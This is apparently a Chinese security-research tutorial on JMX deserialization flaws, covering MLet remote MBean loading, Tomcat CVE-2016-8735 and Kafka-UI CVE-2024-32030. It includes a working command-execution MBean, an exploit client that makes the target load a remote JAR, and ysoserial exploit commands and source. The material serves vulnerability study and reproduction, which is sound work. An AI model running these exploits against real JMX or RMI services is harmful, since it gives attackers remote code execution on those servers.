JMX 反序列化漏洞

前言

前段时间看到普元 EOS Platform 爆了这个洞，Apache James，Kafka-UI 都爆了这几个洞，所以决定系统来学习一下这个漏洞点。

JMX 基础

JMX 前置知识

JMX（Java Management Extensions，即 Java 管理扩展）是一个为应用程序、设备、系统等植入管理功能的框架。JMX 可以跨越一系列异构操作系统平台、系统体系结构和网络传输协议，灵活的开发无缝集成的系统、网络和服务管理应用。

可以简单理解 JMX 是 java 的一套管理框架，coders 都遵循这个框架，实现对代码应用的监控与管理。

JMX 的结构一共分为三层：

1、基础层：主要是 MBean，被管理的资源。分为四种，常用需要关注的是两种。

• standard MBean 这种类型的 MBean 最简单，它能管理的资源（包括属性、方法、时间）必须定义在接口中，然后 MBean 必须实现这个接口。它的命令也必须遵循一定的规范，例如我们的 MBean 为 Hello，则接口必须为 HelloMBean。

• dynamic MBean 必须实现 javax.management.DynamicMBean 接口，所有的属性，方法都在运行时定义。
  2、适配层：MBeanServer，主要是提供对资源的注册和管理。
  3、接入层：Connector，提供远程访问的入口。

  JMX 基础代码实践

以下代码实现简单的 JMX demo，文件结构

├── HelloWorld.java  
├── HelloWorldMBean.java  
└── jmxDemo.java

HelloWorldMBean.java

package org.example;

public interface HelloWorldMBean {
    public void sayhello();
    public int add(int x, int y);
    public String getName();
}

HelloWorld.java

package org.example;

public class HelloWorld implements HelloWorldMBean{
    private String name = "Drunkbaby";
    @Override
    public void sayhello() {
        System.out.println("hello world" + this.name);
    }

    @Override
    public int add(int x, int y) {
        return x + y;
    }

    @Override
    public String getName() {
        return this.name;
    }
}

jmxDemo.java

package org.example;

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jmxDemo {
    public static void main(String[] args) throws Exception{
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        ObjectName mbsName = new ObjectName("test:type=HelloWorld");
        HelloWorld mbean = new HelloWorld();
        mBeanServer.registerMBean(mbean, mbsName);

        // 创建一个 RMI Registry
        Registry registry = LocateRegistry.createRegistry(1099);
        // 构造 JMXServiceURL，绑定创建的 RMI
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
        // 构造JMXConnectorServer，关联 mbserver
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is ready");

        System.out.println("press any key to exit.");
        System.in.read();

    }
}

其中

• Probe Level：创建了 HelloWorldMBean 实例 mbean
• Agent Level：创建了 MBeanServer 实例 mbs

• Remote Management Level: 创建了JMXServiceURL，绑定到本地 1099 rmi，关联到MBeanServer mbs

  JMX 安全问题

JMX 的安全问题主要发生在以下三处

1、jmx
2、mbean
3、rmi

其中通过利用 MLet 是最常用的攻击手法，算是 jmx 特性 + mbean 利用，接下来我们详细来看看 Mlet 的漏洞利用及原理。

Mlet

Mlet 指的是 javax.management.loading.MLet，该 mbean 有个 getMBeansFromURL 的方法，可以从远程 mlet server 加载 mbean。

攻击过程：

1. 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
2. 使用JMX在目标服务器上创建 MBeanjavax.management.loading.MLet 的实例
3. 调用 MBean 实例的 getMBeansFromURL 方法，将 Web 服务器 URL 作为参数进行传递。JMX 服务将连接到http服务器并解析MLet文件
4. JMX 服务下载并归档 MLet 文件中引用的 JAR 文件，使恶意 MBean 可通过 JMX 获取
5. 攻击者最终调用来自恶意 MBean 的方法

• 下面我们来编写一个漏洞实例。

Evil MBean

文件结构

├── Evil.java
└── EvilMBean.java

EvilMBean.java

package com.drunkbaby.mlet;  
  
public interface EvilMBean {  
    public String runCommand(String cmd);  
}

Evil.java

package com.drunkbaby.mlet;  
  
import java.io.BufferedReader;  
import java.io.InputStreamReader;  
  
public class Evil implements EvilMBean  
{  
    public String runCommand(String cmd)  
    {  
        try {  
            Runtime rt = Runtime.getRuntime();  
            Process proc = rt.exec(cmd);  
            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));  
            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));  
            String stdout_err_data = "";  
            String s;  
            while ((s = stdInput.readLine()) != null)  
            {  
                stdout_err_data += s+"\n";  
            }  
            while ((s = stdError.readLine()) != null)  
            {  
                stdout_err_data += s+"\n";  
            }  
            proc.waitFor();  
            return stdout_err_data;  
        }  
        catch (Exception e)  
        {  
            return e.toString();  
        }  
    }  
}

Mlet Server

将原本的文件打包为 jar 包。步骤省略了，就是 build Artifacts。随后编写 evil.html

<html><mlet code="com.drunkbaby.mlet.Evil" archive="JMX.jar" name="MLetCompromise:name=evil,id=1" codebase="http://127.0.0.1:4141"></mlet></html>

整体结构如图

Attack Code

ExploitJMXByRemoteMBean.java

package com.drunkbaby.mlet;  
  
import javax.management.MBeanServerConnection;  
import javax.management.ObjectInstance;  
import javax.management.ObjectName;  
import javax.management.remote.JMXConnector;  
import javax.management.remote.JMXConnectorFactory;  
import javax.management.remote.JMXServiceURL;  
import java.net.MalformedURLException;  
import java.util.HashSet;  
import java.util.Iterator;  
  
public class ExploitJMXByRemoteMBean {  
  
    public static void main(String[] args) {  
        try {  
//            connectAndOwn(args[0], args[1], args[2]);  
            connectAndOwn("localhost","1099","open -a Calculator");  
        } catch (Exception e) {  
            e.printStackTrace();  
        }  
    }  
  
    static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {  
        try {  
            // step1. 通过rmi创建 jmx连接  
            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");  
            System.out.println("URL: " + u + ", connecting");  
            JMXConnector c = JMXConnectorFactory.connect(u);  
            System.out.println("Connected: " + c.getConnectionId());  
            MBeanServerConnection m = c.getMBeanServerConnection();  
  
            // step2. 加载特殊MBean：javax.management.loading.MLet  
            ObjectInstance evil_bean = null;  
            ObjectInstance evil = null;  
            try {  
                evil = m.createMBean("javax.management.loading.MLet", null);  
            } catch (javax.management.InstanceAlreadyExistsException e) {  
                evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));  
            }  
            // step3：通过MLet加载远程恶意MBean  
            System.out.println("Loaded "+evil.getClassName());  
            Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]  
                            { "http://localhost:4141/evil.html"},  
                    new String[] { String.class.getName() } );  
  
            HashSet res_set = ((HashSet)res);  
            Iterator itr = res_set.iterator();  
            Object nextObject = itr.next();  
            if (nextObject instanceof Exception)  
            {  
                throw ((Exception)nextObject);  
            }  
            evil_bean = ((ObjectInstance)nextObject);  
  
            // step4: 执行恶意MBean  
            System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());  
            System.out.println("Calling runCommand with: "+command);  
            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });  
            System.out.println("Result: "+result);  
        } catch (Exception e)  
        {  
            e.printStackTrace();  
        }  
    }  
}

很明显这里是和远程的 jar 包进行了连接，而远程的 jar 包上面放置了恶意的 MBean，关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。

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JMX 反序列化漏洞

在实际场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题

JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735

漏洞描述

这其实是 JDK 的洞 —— JMX 导致的，但是由于 Tomcat 没有及时打补丁，所以这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。

• 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。

  影响版本

Apache Tomcat 9.0.0.M1 - 9.0.0.M11
Apache Tomcat 8.5.0 - 8.5.6
Apache Tomcat 8.0.0.RC1 - 8.0.38
Apache Tomcat 7.0.0 - 7.0.72
Apache Tomcat 6.0.0 - 6.0.47

环境搭建

https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735

需要添加一个 listener 和 catalina.sh，网上教程都有，包括两个 jar 包，我这里不再赘述了。

漏洞复现

• 漏洞复现的 EXP 已经有了

java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"

漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer

try {  
    RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);  
    cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());  
    cs.start();  
    registry.bind("jmxrmi", server);  
    log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));  
} catch (AlreadyBoundException | IOException var15) {  
    log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);  
}

很经典的手法，registry.bind() 调用反序列化，接着通过 Grovvy1 链触发

同样这里其实也是用 RMI 协议来打的。

利用 Mlet 的方式动态加载 MBean

这个有点意思，上面在讲 Mlet 攻击的时候其实我们有提到，Mlet 是通过加载远程的 jar 包，调用里面的 codebase 来 rce 的。

而 JMX 调用远程 MBean 方法有以下流程：

1、MBean name、MBean Function Name、params，发送给远程的 rmi server，其中 params 需要先统一转换为 MarshalledObject，通过 readObject 转换为字符串。
2、RMI Server监听到网络请求，包含MBean name、MBean Function Name、 params，其中params经过MarshalledObject.readObject() 反序列化，再通过invoke调用原函数。

所以这里只需要我们恶意构造 String 进行反序列化，就可以进行攻击。在 ysoserial 当中，这一个类为 JMXInvokeMBean

package ysoserial.exploit;

import javax.management.MBeanServerConnection;
import javax.management.ObjectName;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;

import ysoserial.payloads.ObjectPayload.Utils;

/*
 * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
 * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
 * 
 */
public class JMXInvokeMBean {

    public static void main(String[] args) throws Exception {
    
        if ( args.length < 4 ) {
            System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
            System.exit(-1);
        }
        
        JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
        
        JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
        MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();

        // create the payload
        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);   
        ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");

        mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});

        //close the connection
        jmxConnector.close();
    }
}

我看下来两种漏洞利用的最终思路是很类似的，都是 RMi 去打反序列化，不一样的点在于一个是利用 RMIxxx.bind() 另外一种是在用 jmx:rmi// 协议去打。

当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞

https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/

漏洞描述

Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能，它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。
CVE-2024-32030 中，由于默认情况下 Kafka UI 未开启认证授权，攻击者可构造恶意请求利用后台功能执行任意代码，控制服务器。官方已发布安全更新，修复该漏洞。

影响版本

Kafka-UI <= 0.7.1

环境搭建

Kafka-UI 的 docker

version: '3.8'

services:
  kafka-ui:
    image: provectuslabs/kafka-ui:v0.7.1
    container_name: kafka-ui
    environment:
      - DYNAMIC_CONFIG_ENABLED=true
      - JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
    ports:
      - "8080:8080"
      - "5005:5005"

Kafka 的 UI，之前分析 Kafka 漏洞的时候就写过了

version: '2'

services:
  zookeeper:
    image: zookeeper
    restart: always
    ports:
      - "2181:2181"
    container_name: zookeeper

  kafka:
    image: wurstmeister/kafka
    restart: always
    ports:
      - "9092:9092"
      - "9094:9094"
    depends_on:
      - zookeeper
    environment:
      KAFKA_ADVERTISED_HOST_NAME: 127.0.0.1
      KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181
      KAFKA_LISTENERS: PLAINTEXT://0.0.0.0:9092,SSL://0.0.0.0:9094
      KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://127.0.0.1:9092,SSL://127.0.0.1:9094
      KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,SSL:SSL
      KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT
    container_name: kafka

漏洞复现

使用 ysoserial 直接打，起一个恶意的 JMX 服务。

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

开启了之后，使用 Kafka-UI 去连接该 JMX

第一步先开启 org.apache.commons.collections.enableUnsafeSerialization:true，再进行 CC 的反序列化。

服务器接收到恶意的请求

随后第二步直接使用 CC 链打。

java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

攻击成功

漏洞分析

通过简单的搜索就可以确定漏洞入口在 com.provectus.kafka.ui.controller.ClustersController#updateClusterInfo

最终的触发点是在com.provectus.kafka.ui.service.metrics.JmxMetricsRetriever#retrieveSync 方法

后面其实就是 RMI 的部分了，当然这里还涉及到了 Scala1 链暂时不展开。

这一个漏洞其实也是 jmx://rmi// 可控造成的一个问题。但是这里的修复只是更新了一部分依赖，把 CC3 更新成了 CC4。所以其实还是存在一定的绕过的。

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